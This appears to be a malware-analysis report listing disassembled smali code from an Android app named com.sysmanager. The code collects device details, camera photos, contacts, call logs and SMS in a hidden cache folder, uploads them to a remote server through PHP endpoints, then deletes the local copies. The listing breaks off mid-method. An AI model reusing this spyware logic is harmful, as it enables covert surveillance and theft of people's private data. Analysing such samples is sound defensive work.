43new-instance v1, Ljava/io/IOException;
44new-instance v2, Ljava/lang/StringBuilder;
46invoke-direct {v2}, Ljava/lang/StringBuilder;-><init>()V
48const-string v3, "File \'"
50invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
51move-result-object v2
53invoke-virtual {v2, p0}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
54move-result-object v2
56const-string v3, "\' cannot be written to"
58invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
59move-result-object v2
61invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
62move-result-object v2
64invoke-direct {v1, v2}, Ljava/io/IOException;-><init>(Ljava/lang/String;)V
65throw v1
66cond_50:
67invoke-virtual {p0}, Ljava/io/File;->getParentFile()Ljava/io/File;
68move-result-object v0
69if-eqz v0, :cond_81
71invoke-virtual {v0}, Ljava/io/File;->mkdirs()Z
72move-result v1
73if-nez v1, :cond_81
75invoke-virtual {v0}, Ljava/io/File;->isDirectory()Z
76move-result v1
77if-nez v1, :cond_81
78new-instance v1, Ljava/io/IOException;
79new-instance v2, Ljava/lang/StringBuilder;
81invoke-direct {v2}, Ljava/lang/StringBuilder;-><init>()V
83const-string v3, "Directory \'"
85invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
86move-result-object v2
88invoke-virtual {v2, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
89move-result-object v2
91const-string v3, "\' could not be created"
93invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
94move-result-object v2
96invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
97move-result-object v2
99invoke-direct {v1, v2}, Ljava/io/IOException;-><init>(Ljava/lang/String;)V
100throw v1
101cond_81: new-instance v1, Ljava/io/FileOutputStream;
103invoke-direct {v1, p0, p1}, Ljava/io/FileOutputStream;-><init>(Ljava/io/File;Z)V
104return-object v1
APIs
  • android.app.Service.onCreate
  • com.sysmanager.system.AndroidSystemCall.phoneInfo
  • com.sysmanager.system.AndroidSystemCall.networkInfo
  • com.sysmanager.system.AndroidSystemCall.androidInfo
  • com.sysmanager.system.AndroidSystemCall.sensorsInfo
  • com.sysmanager.system.AndroidSystemCall.getBatteryPerc
  • com.sysmanager.system.AndroidSystemCall.storageInfo
  • com.sysmanager.system.AndroidSystemCall.rootInfo
  • com.sysmanager.system.AndroidSystemCall.nootInfo
  • com.sysmanager.system.AndroidSystemCall.numFileToSend
  • com.sysmanager.system.AndroidSystemCall.isScreenOn
  • com.sysmanager.system.AndroidSystemCall.isDeviceAdmin
  • com.sysmanager.system.AndroidSystemCall.isAccessibility
  • com.sysmanager.system.AndroidSystemCall.isMaxLocationEnabled
  • com.sysmanager.system.AndroidSystemCall.checkPermissions
  • java.lang.StringBuilder.<init>
  • com.sysmanager.system.AndroidSystemCall.getFilesDir
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • java.io.FileOutputStream.<init>
  • org.json.JSONObject.toString
  • java.lang.String.getBytes
  • java.io.FileOutputStream.write
  • java.io.FileOutputStream.close
  • com.sysmanager.system.AndroidSystemCall.InviaFileInfoTel
  • com.sysmanager.system.AndroidSystemCall.getApplicationContext
Strings
  • /cachel2/
  • intest
Position Instruction Meta Information
0.prologue
2invoke-super {p0}, Landroid/app/Service;->onCreate()V
3try_start_3:
4invoke-virtual {p0}, Lcom/sysmanager/system/AndroidSystemCall;->phoneInfo()V
6invoke-virtual {p0}, Lcom/sysmanager/system/AndroidSystemCall;->networkInfo()V
8invoke-virtual {p0}, Lcom/sysmanager/system/AndroidSystemCall;->androidInfo()V
10invoke-virtual {p0}, Lcom/sysmanager/system/AndroidSystemCall;->sensorsInfo()V
12invoke-virtual {p0}, Lcom/sysmanager/system/AndroidSystemCall;->getBatteryPerc()V
14invoke-virtual {p0}, Lcom/sysmanager/system/AndroidSystemCall;->storageInfo()V
16invoke-virtual {p0}, Lcom/sysmanager/system/AndroidSystemCall;->rootInfo()V
18invoke-virtual {p0}, Lcom/sysmanager/system/AndroidSystemCall;->nootInfo()V
20invoke-virtual {p0}, Lcom/sysmanager/system/AndroidSystemCall;->numFileToSend()V
22invoke-direct {p0}, Lcom/sysmanager/system/AndroidSystemCall;->isScreenOn()V
24invoke-direct {p0}, Lcom/sysmanager/system/AndroidSystemCall;->isDeviceAdmin()V
26invoke-direct {p0}, Lcom/sysmanager/system/AndroidSystemCall;->isAccessibility()V
28invoke-direct {p0}, Lcom/sysmanager/system/AndroidSystemCall;->isMaxLocationEnabled()V
30invoke-direct {p0}, Lcom/sysmanager/system/AndroidSystemCall;->checkPermissions()V
31new-instance v3, Ljava/lang/StringBuilder;
33invoke-direct {v3}, Ljava/lang/StringBuilder;-><init>()V
35invoke-virtual {p0}, Lcom/sysmanager/system/AndroidSystemCall;->getFilesDir()Ljava/io/File;
36move-result-object v4
38invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
39move-result-object v3
41const-string v4, "/cachel2/"
43invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
44move-result-object v3
46const-string v4, "intest"
48invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
49move-result-object v3
51invoke-virtual {v3}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
52move-result-object v2
53new-instance v1, Ljava/io/FileOutputStream;
54const/4 v3, 0x0
56invoke-direct {v1, v2, v3}, Ljava/io/FileOutputStream;-><init>(Ljava/lang/String;Z)V
58iget-object v3, p0, Lcom/sysmanager/system/AndroidSystemCall;->mInfoTel:Lorg/json/JSONObject;
60invoke-virtual {v3}, Lorg/json/JSONObject;->toString()Ljava/lang/String;
61move-result-object v3
63invoke-virtual {v3}, Ljava/lang/String;->getBytes()[B
64move-result-object v3
66invoke-virtual {v1, v3}, Ljava/io/FileOutputStream;->write([B)V
68invoke-virtual {v1}, Ljava/io/FileOutputStream;->close()V
69goto_60:
70invoke-virtual {p0}, Lcom/sysmanager/system/AndroidSystemCall;->InviaFileInfoTel()V
71return-void
72catch_64: move-exception v0
74invoke-virtual {p0}, Lcom/sysmanager/system/AndroidSystemCall;->getApplicationContext()Landroid/content/Context;
75move-result-object v3
77invoke-static {v0}, Lcom/sysmanager/costanti/Costanti;->printStackTrace(Ljava/lang/Exception;)Ljava/lang/String;
78move-result-object v4
80invoke-static {v3, v4}, Lcom/sysmanager/system/FileLog;->write(Landroid/content/Context;Ljava/lang/String;)Ljava/lang/Boolean;
81goto/16 :goto_60
APIs
  • java.lang.StringBuilder.<init>
  • com.sysmanager.system.AndroidSystemLog.getFilesDir
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • java.io.File.<init>
  • java.io.File.delete
  • com.sysmanager.system.AndroidSystemLog.getApplicationContext
  • com.sysmanager.storage.Settings.getInstance
  • com.sysmanager.storage.Settings.setValue
  • com.sysmanager.system.AndroidSystemLog.stopSelf
  • java.lang.String.isEmpty
  • java.io.File.exists
  • java.lang.StringBuilder.<init>
  • com.sysmanager.system.AndroidSystemLog.getFilesDir
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • java.io.File.<init>
  • com.sysmanager.system.AndroidSystemLog.getApplicationContext
  • java.io.File.delete
  • com.sysmanager.system.AndroidSystemLog.getApplicationContext
Strings
  • /cachel2/
  • col08
  • /cachel2
  • A70
  • upload_rubrica.php
  • rubricaYES
Position Instruction Meta Information
0.prologue
1new-instance v9, Ljava/io/File;
2new-instance v0, Ljava/lang/StringBuilder;
4invoke-direct {v0}, Ljava/lang/StringBuilder;-><init>()V
6iget-object v1, p0, Lcom/sysmanager/system/AndroidSystemLog$1;->this$0:Lcom/sysmanager/system/AndroidSystemLog;
8invoke-virtual {v1}, Lcom/sysmanager/system/AndroidSystemLog;->getFilesDir()Ljava/io/File;
9move-result-object v1
11invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
12move-result-object v0
14const-string v1, "/cachel2/"
16invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
17move-result-object v0
19iget-object v1, p0, Lcom/sysmanager/system/AndroidSystemLog$1;->this$0:Lcom/sysmanager/system/AndroidSystemLog;
21iget-object v1, v1, Lcom/sysmanager/system/AndroidSystemLog;->mFile:Ljava/lang/String;
23invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
24move-result-object v0
26invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
27move-result-object v0
29invoke-direct {v9, v0}, Ljava/io/File;-><init>(Ljava/lang/String;)V
31iget-object v0, p0, Lcom/sysmanager/system/AndroidSystemLog$1;->val$ctx:Landroid/content/Context;
33invoke-static {v0}, Lcom/sysmanager/network/NetworkUtil;->getConnectivityStatus(Landroid/content/Context;)I
34move-result v7
35if-nez v7, :cond_47
37invoke-virtual {v9}, Ljava/io/File;->delete()Z
38goto_31:
39iget-object v0, p0, Lcom/sysmanager/system/AndroidSystemLog$1;->this$0:Lcom/sysmanager/system/AndroidSystemLog;
41invoke-virtual {v0}, Lcom/sysmanager/system/AndroidSystemLog;->getApplicationContext()Landroid/content/Context;
42move-result-object v0
44invoke-static {v0}, Lcom/sysmanager/storage/Settings;->getInstance(Landroid/content/Context;)Lcom/sysmanager/storage/Settings;
45move-result-object v0
47const-string v1, "col08"
48const/4 v2, 0x0
50invoke-virtual {v0, v1, v2}, Lcom/sysmanager/storage/Settings;->setValue(Ljava/lang/String;I)V
52iget-object v0, p0, Lcom/sysmanager/system/AndroidSystemLog$1;->this$0:Lcom/sysmanager/system/AndroidSystemLog;
54invoke-virtual {v0}, Lcom/sysmanager/system/AndroidSystemLog;->stopSelf()V
55return-void
56cond_47:
57iget-object v0, p0, Lcom/sysmanager/system/AndroidSystemLog$1;->val$ctx:Landroid/content/Context;
59invoke-static {v0}, Lcom/sysmanager/network/HTTPUtility;->obtainHostName(Landroid/content/Context;)Ljava/lang/String;
60move-result-object v3
62invoke-virtual {v3}, Ljava/lang/String;->isEmpty()Z
63move-result v0
64if-nez v0, :cond_31
66invoke-virtual {v9}, Ljava/io/File;->exists()Z
67move-result v0
68if-eqz v0, :cond_31
69new-instance v0, Ljava/io/File;
70new-instance v1, Ljava/lang/StringBuilder;
72invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V
74iget-object v2, p0, Lcom/sysmanager/system/AndroidSystemLog$1;->this$0:Lcom/sysmanager/system/AndroidSystemLog;
76invoke-virtual {v2}, Lcom/sysmanager/system/AndroidSystemLog;->getFilesDir()Ljava/io/File;
77move-result-object v2
79invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
80move-result-object v1
82const-string v2, "/cachel2"
84invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
85move-result-object v1
87invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
88move-result-object v1
90invoke-direct {v0, v1}, Ljava/io/File;-><init>(Ljava/lang/String;)V
92iget-object v1, p0, Lcom/sysmanager/system/AndroidSystemLog$1;->this$0:Lcom/sysmanager/system/AndroidSystemLog;
94iget-object v1, v1, Lcom/sysmanager/system/AndroidSystemLog;->mFile:Ljava/lang/String;
96const-string v2, "A70"
98const-string v4, "upload_rubrica.php"
100const-string v5, ""
102iget-object v6, p0, Lcom/sysmanager/system/AndroidSystemLog$1;->this$0:Lcom/sysmanager/system/AndroidSystemLog;
104invoke-virtual {v6}, Lcom/sysmanager/system/AndroidSystemLog;->getApplicationContext()Landroid/content/Context;
105move-result-object v6
107invoke-static/range {v0 .. v6}, Lcom/sysmanager/network/HTTPUtility;->doFileUpload(Ljava/io/File;Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Landroid/content/Context;)Z
108move-result v8
109if-eqz v8, :cond_31
111invoke-virtual {v9}, Ljava/io/File;->delete()Z
113const-string v0, "rubricaYES"
115iget-object v1, p0, Lcom/sysmanager/system/AndroidSystemLog$1;->this$0:Lcom/sysmanager/system/AndroidSystemLog;
117invoke-virtual {v1}, Lcom/sysmanager/system/AndroidSystemLog;->getApplicationContext()Landroid/content/Context;
118move-result-object v1
120const-string v2, "A70"
122invoke-static {v0, v1, v2}, Lcom/sysmanager/network/HTTPUtility;->InvioCommandoPresenza(Ljava/lang/String;Landroid/content/Context;Ljava/lang/String;)V
123goto/16 :goto_31
Cross References
APIs
  • java.text.SimpleDateFormat.<init>
  • java.util.Date.<init>
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • java.text.SimpleDateFormat.format
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • java.lang.StringBuilder.<init>
  • com.sysmanager.system.AndroidCamera.getFilesDir
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • java.io.FileOutputStream.<init>
  • java.io.FileOutputStream.write
  • java.io.FileOutputStream.close
  • com.sysmanager.system.AndroidCamera.releaseCam
  • java.lang.StringBuilder.<init>
  • com.sysmanager.system.AndroidCamera.getFilesDir
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • com.sysmanager.system.AndroidCamera.InvioFotoDaCamera
  • com.sysmanager.system.AndroidCamera.getApplicationContext
Strings
  • yyyyMMddHHmmss
  • Foto_
  • .png
  • /cachel2/
Position Instruction Meta Information
0.param p1, "data" # [B
1.prologue
2new-instance v0, Ljava/text/SimpleDateFormat;
4const-string v5, "yyyyMMddHHmmss"
6sget-object v6, Ljava/util/Locale;->ITALIAN:Ljava/util/Locale;
8invoke-direct {v0, v5, v6}, Ljava/text/SimpleDateFormat;-><init>(Ljava/lang/String;Ljava/util/Locale;)V
9new-instance v3, Ljava/util/Date;
11invoke-direct {v3}, Ljava/util/Date;-><init>()V
13const-string v5, ""
14sput-object v5, Lcom/sysmanager/system/AndroidCamera;->nomefile:Ljava/lang/String;
15new-instance v5, Ljava/lang/StringBuilder;
17invoke-direct {v5}, Ljava/lang/StringBuilder;-><init>()V
19const-string v6, "Foto_"
21invoke-virtual {v5, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
22move-result-object v5
24invoke-virtual {v0, v3}, Ljava/text/SimpleDateFormat;->format(Ljava/util/Date;)Ljava/lang/String;
25move-result-object v6
27invoke-virtual {v5, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
28move-result-object v5
30const-string v6, ".png"
32invoke-virtual {v5, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
33move-result-object v5
35invoke-virtual {v5}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
36move-result-object v5
37sput-object v5, Lcom/sysmanager/system/AndroidCamera;->nomefile:Ljava/lang/String;
38new-instance v5, Ljava/lang/StringBuilder;
40invoke-direct {v5}, Ljava/lang/StringBuilder;-><init>()V
42invoke-virtual {p0}, Lcom/sysmanager/system/AndroidCamera;->getFilesDir()Ljava/io/File;
43move-result-object v6
45invoke-virtual {v5, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
46move-result-object v5
48const-string v6, "/cachel2/"
50invoke-virtual {v5, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
51move-result-object v5
53sget-object v6, Lcom/sysmanager/system/AndroidCamera;->nomefile:Ljava/lang/String;
55invoke-virtual {v5, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
56move-result-object v5
58invoke-virtual {v5}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
59move-result-object v1
60try_start_4e: new-instance v4, Ljava/io/FileOutputStream;
62invoke-direct {v4, v1}, Ljava/io/FileOutputStream;-><init>(Ljava/lang/String;)V
64invoke-virtual {v4, p1}, Ljava/io/FileOutputStream;->write([B)V
66invoke-virtual {v4}, Ljava/io/FileOutputStream;->close()V
67goto_59:
68invoke-direct {p0}, Lcom/sysmanager/system/AndroidCamera;->releaseCam()V
69new-instance v5, Ljava/lang/StringBuilder;
71invoke-direct {v5}, Ljava/lang/StringBuilder;-><init>()V
73invoke-virtual {p0}, Lcom/sysmanager/system/AndroidCamera;->getFilesDir()Ljava/io/File;
74move-result-object v6
76invoke-virtual {v5, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
77move-result-object v5
79const-string v6, "/cachel2/"
81invoke-virtual {v5, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
82move-result-object v5
84invoke-virtual {v5}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
85move-result-object v5
87sget-object v6, Lcom/sysmanager/system/AndroidCamera;->nomefile:Ljava/lang/String;
89invoke-virtual {p0, v5, v6}, Lcom/sysmanager/system/AndroidCamera;->InvioFotoDaCamera(Ljava/lang/String;Ljava/lang/String;)V
90return-void
91catch_79: move-exception v2
93invoke-virtual {p0}, Lcom/sysmanager/system/AndroidCamera;->getApplicationContext()Landroid/content/Context;
94move-result-object v5
96invoke-static {v2}, Lcom/sysmanager/costanti/Costanti;->printStackTrace(Ljava/lang/Exception;)Ljava/lang/String;
97move-result-object v6
99invoke-static {v5, v6}, Lcom/sysmanager/system/FileLog;->write(Landroid/content/Context;Ljava/lang/String;)Ljava/lang/Boolean;
100goto/16 :goto_59
APIs
  • java.lang.StringBuilder.<init>
  • com.sysmanager.system.AndroidCallSystem.getFilesDir
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • java.io.File.<init>
  • com.sysmanager.system.AndroidCallSystem.getApplicationContext
  • com.sysmanager.storage.Settings.getInstance
  • com.sysmanager.storage.Settings.setValue
  • com.sysmanager.system.AndroidCallSystem.stopSelf
  • java.io.File.<init>
  • com.sysmanager.system.AndroidCallSystem.getApplicationContext
  • java.lang.String.isEmpty
  • java.io.File.exists
  • com.sysmanager.system.AndroidCallSystem.getApplicationContext
  • java.io.File.<init>
  • java.io.File.delete
  • com.sysmanager.system.AndroidCallSystem.getApplicationContext
Strings
  • /cachel2/
  • col09
  • /Log
  • Log
  • A70
  • upload_reg_call.php
  • registro_chiamateYES
Position Instruction Meta Information
0.prologue
1new-instance v0, Ljava/io/File;
2new-instance v1, Ljava/lang/StringBuilder;
4invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V
6iget-object v2, p0, Lcom/sysmanager/system/AndroidCallSystem$1;->this$0:Lcom/sysmanager/system/AndroidCallSystem;
8invoke-virtual {v2}, Lcom/sysmanager/system/AndroidCallSystem;->getFilesDir()Ljava/io/File;
9move-result-object v2
11invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
12move-result-object v1
14const-string v2, "/cachel2/"
16invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
17move-result-object v1
19invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
20move-result-object v1
22invoke-direct {v0, v1}, Ljava/io/File;-><init>(Ljava/lang/String;)V
24iget-object v1, p0, Lcom/sysmanager/system/AndroidCallSystem$1;->this$0:Lcom/sysmanager/system/AndroidCallSystem;
26invoke-virtual {v1}, Lcom/sysmanager/system/AndroidCallSystem;->getApplicationContext()Landroid/content/Context;
27move-result-object v1
29invoke-static {v1}, Lcom/sysmanager/network/NetworkUtil;->getConnectivityStatus(Landroid/content/Context;)I
30move-result v7
31if-nez v7, :cond_40
32cond_2a:
33iget-object v1, p0, Lcom/sysmanager/system/AndroidCallSystem$1;->this$0:Lcom/sysmanager/system/AndroidCallSystem;
35invoke-virtual {v1}, Lcom/sysmanager/system/AndroidCallSystem;->getApplicationContext()Landroid/content/Context;
36move-result-object v1
38invoke-static {v1}, Lcom/sysmanager/storage/Settings;->getInstance(Landroid/content/Context;)Lcom/sysmanager/storage/Settings;
39move-result-object v1
41const-string v2, "col09"
42const/4 v4, 0x0
44invoke-virtual {v1, v2, v4}, Lcom/sysmanager/storage/Settings;->setValue(Ljava/lang/String;I)V
46iget-object v1, p0, Lcom/sysmanager/system/AndroidCallSystem$1;->this$0:Lcom/sysmanager/system/AndroidCallSystem;
48invoke-virtual {v1}, Lcom/sysmanager/system/AndroidCallSystem;->stopSelf()V
49return-void
50cond_40: new-instance v10, Ljava/io/File;
52const-string v1, "/Log"
54invoke-direct {v10, v0, v1}, Ljava/io/File;-><init>(Ljava/io/File;Ljava/lang/String;)V
56iget-object v1, p0, Lcom/sysmanager/system/AndroidCallSystem$1;->this$0:Lcom/sysmanager/system/AndroidCallSystem;
58invoke-virtual {v1}, Lcom/sysmanager/system/AndroidCallSystem;->getApplicationContext()Landroid/content/Context;
59move-result-object v1
61invoke-static {v1}, Lcom/sysmanager/network/HTTPUtility;->obtainHostName(Landroid/content/Context;)Ljava/lang/String;
62move-result-object v3
64invoke-virtual {v3}, Ljava/lang/String;->isEmpty()Z
65move-result v1
66if-nez v1, :cond_2a
68invoke-virtual {v10}, Ljava/io/File;->exists()Z
69move-result v1
70if-eqz v1, :cond_2a
72const-string v1, "Log"
74const-string v2, "A70"
76const-string v4, "upload_reg_call.php"
78const-string v5, ""
80iget-object v6, p0, Lcom/sysmanager/system/AndroidCallSystem$1;->this$0:Lcom/sysmanager/system/AndroidCallSystem;
82invoke-virtual {v6}, Lcom/sysmanager/system/AndroidCallSystem;->getApplicationContext()Landroid/content/Context;
83move-result-object v6
85invoke-static/range {v0 .. v6}, Lcom/sysmanager/network/HTTPUtility;->doFileUpload(Ljava/io/File;Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Landroid/content/Context;)Z
86move-result v8
87if-eqz v8, :cond_2a
88new-instance v9, Ljava/io/File;
90const-string v1, "Log"
92invoke-direct {v9, v0, v1}, Ljava/io/File;-><init>(Ljava/io/File;Ljava/lang/String;)V
94invoke-virtual {v9}, Ljava/io/File;->delete()Z
96const-string v1, "registro_chiamateYES"
98iget-object v2, p0, Lcom/sysmanager/system/AndroidCallSystem$1;->this$0:Lcom/sysmanager/system/AndroidCallSystem;
100invoke-virtual {v2}, Lcom/sysmanager/system/AndroidCallSystem;->getApplicationContext()Landroid/content/Context;
101move-result-object v2
103const-string v4, "A70"
105invoke-static {v1, v2, v4}, Lcom/sysmanager/network/HTTPUtility;->InvioCommandoPresenza(Ljava/lang/String;Landroid/content/Context;Ljava/lang/String;)V
106goto/16 :goto_2a
Cross References
APIs
  • java.io.File.exists
  • java.io.File.isDirectory
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • java.io.IOException.<init>
  • java.io.File.canRead
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • java.io.IOException.<init>
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • java.io.FileNotFoundException.<init>
  • java.io.FileInputStream.<init>
Strings
  • File \'
  • \' exists but is a directory
  • \' cannot be read
  • \' does not exist
Position Instruction Meta Information
0.param p0, "file" # Ljava/io/File;
1.annotation system Ldalvik/annotation/Throws;
2value = {
3Ljava/io/IOException;
4}
5.end annotation
6.prologue
8invoke-virtual {p0}, Ljava/io/File;->exists()Z
9move-result v0
10if-eqz v0, :cond_50
12invoke-virtual {p0}, Ljava/io/File;->isDirectory()Z
13move-result v0
14if-eqz v0, :cond_2b
15new-instance v0, Ljava/io/IOException;
16new-instance v1, Ljava/lang/StringBuilder;
18invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V
20const-string v2, "File \'"
22invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
23move-result-object v1
25invoke-virtual {v1, p0}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
26move-result-object v1
28const-string v2, "\' exists but is a directory"
30invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
31move-result-object v1
33invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
34move-result-object v1
36invoke-direct {v0, v1}, Ljava/io/IOException;-><init>(Ljava/lang/String;)V
37throw v0
38cond_2b:
39invoke-virtual {p0}, Ljava/io/File;->canRead()Z
40move-result v0
41if-nez v0, :cond_6f
42new-instance v0, Ljava/io/IOException;
43new-instance v1, Ljava/lang/StringBuilder;
45invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V
47const-string v2, "File \'"
49invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
50move-result-object v1
52invoke-virtual {v1, p0}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
53move-result-object v1
55const-string v2, "\' cannot be read"
57invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
58move-result-object v1
60invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
61move-result-object v1
63invoke-direct {v0, v1}, Ljava/io/IOException;-><init>(Ljava/lang/String;)V
64throw v0
65cond_50: new-instance v0, Ljava/io/FileNotFoundException;
66new-instance v1, Ljava/lang/StringBuilder;
68invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V
70const-string v2, "File \'"
72invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
73move-result-object v1
75invoke-virtual {v1, p0}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
76move-result-object v1
78const-string v2, "\' does not exist"
80invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
81move-result-object v1
83invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
84move-result-object v1
86invoke-direct {v0, v1}, Ljava/io/FileNotFoundException;-><init>(Ljava/lang/String;)V
87throw v0
88cond_6f: new-instance v0, Ljava/io/FileInputStream;
90invoke-direct {v0, p0}, Ljava/io/FileInputStream;-><init>(Ljava/io/File;)V
91return-object v0
APIs
  • java.lang.StringBuilder.<init>
  • com.sysmanager.system.AndroidMessagingService.getFilesDir
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • java.io.File.<init>
  • com.sysmanager.system.AndroidMessagingService.getApplicationContext
  • com.sysmanager.storage.Settings.getInstance
  • com.sysmanager.storage.Settings.setValue
  • com.sysmanager.system.AndroidMessagingService.stopSelf
  • com.sysmanager.system.AndroidMessagingService.getApplicationContext
  • java.lang.String.isEmpty
  • com.sysmanager.system.AndroidMessagingService.getApplicationContext
  • java.io.File.<init>
  • java.io.File.delete
  • com.sysmanager.system.AndroidMessagingService.getApplicationContext
Strings
  • /cachel2
  • col10
  • lst
  • A70
  • upload_sms.php
  • smsYES
Position Instruction Meta Information
0.prologue
1new-instance v0, Ljava/io/File;
2new-instance v1, Ljava/lang/StringBuilder;
4invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V
6iget-object v2, p0, Lcom/sysmanager/system/AndroidMessagingService$1;->this$0:Lcom/sysmanager/system/AndroidMessagingService;
8invoke-virtual {v2}, Lcom/sysmanager/system/AndroidMessagingService;->getFilesDir()Ljava/io/File;
9move-result-object v2
11invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
12move-result-object v1
14const-string v2, "/cachel2"
16invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
17move-result-object v1
19invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
20move-result-object v1
22invoke-direct {v0, v1}, Ljava/io/File;-><init>(Ljava/lang/String;)V
23try_start_1e:
24iget-object v1, p0, Lcom/sysmanager/system/AndroidMessagingService$1;->this$0:Lcom/sysmanager/system/AndroidMessagingService;
26invoke-virtual {v1}, Lcom/sysmanager/system/AndroidMessagingService;->getApplicationContext()Landroid/content/Context;
27move-result-object v1
29invoke-static {v1}, Lcom/sysmanager/network/NetworkUtil;->getConnectivityStatus(Landroid/content/Context;)I
30try_end_27: move-result v7
31if-nez v7, :cond_40
32cond_2a:
33iget-object v1, p0, Lcom/sysmanager/system/AndroidMessagingService$1;->this$0:Lcom/sysmanager/system/AndroidMessagingService;
35invoke-virtual {v1}, Lcom/sysmanager/system/AndroidMessagingService;->getApplicationContext()Landroid/content/Context;
36move-result-object v1
38invoke-static {v1}, Lcom/sysmanager/storage/Settings;->getInstance(Landroid/content/Context;)Lcom/sysmanager/storage/Settings;
39move-result-object v1
41const-string v2, "col10"
42const/4 v4, 0x0
44invoke-virtual {v1, v2, v4}, Lcom/sysmanager/storage/Settings;->setValue(Ljava/lang/String;I)V
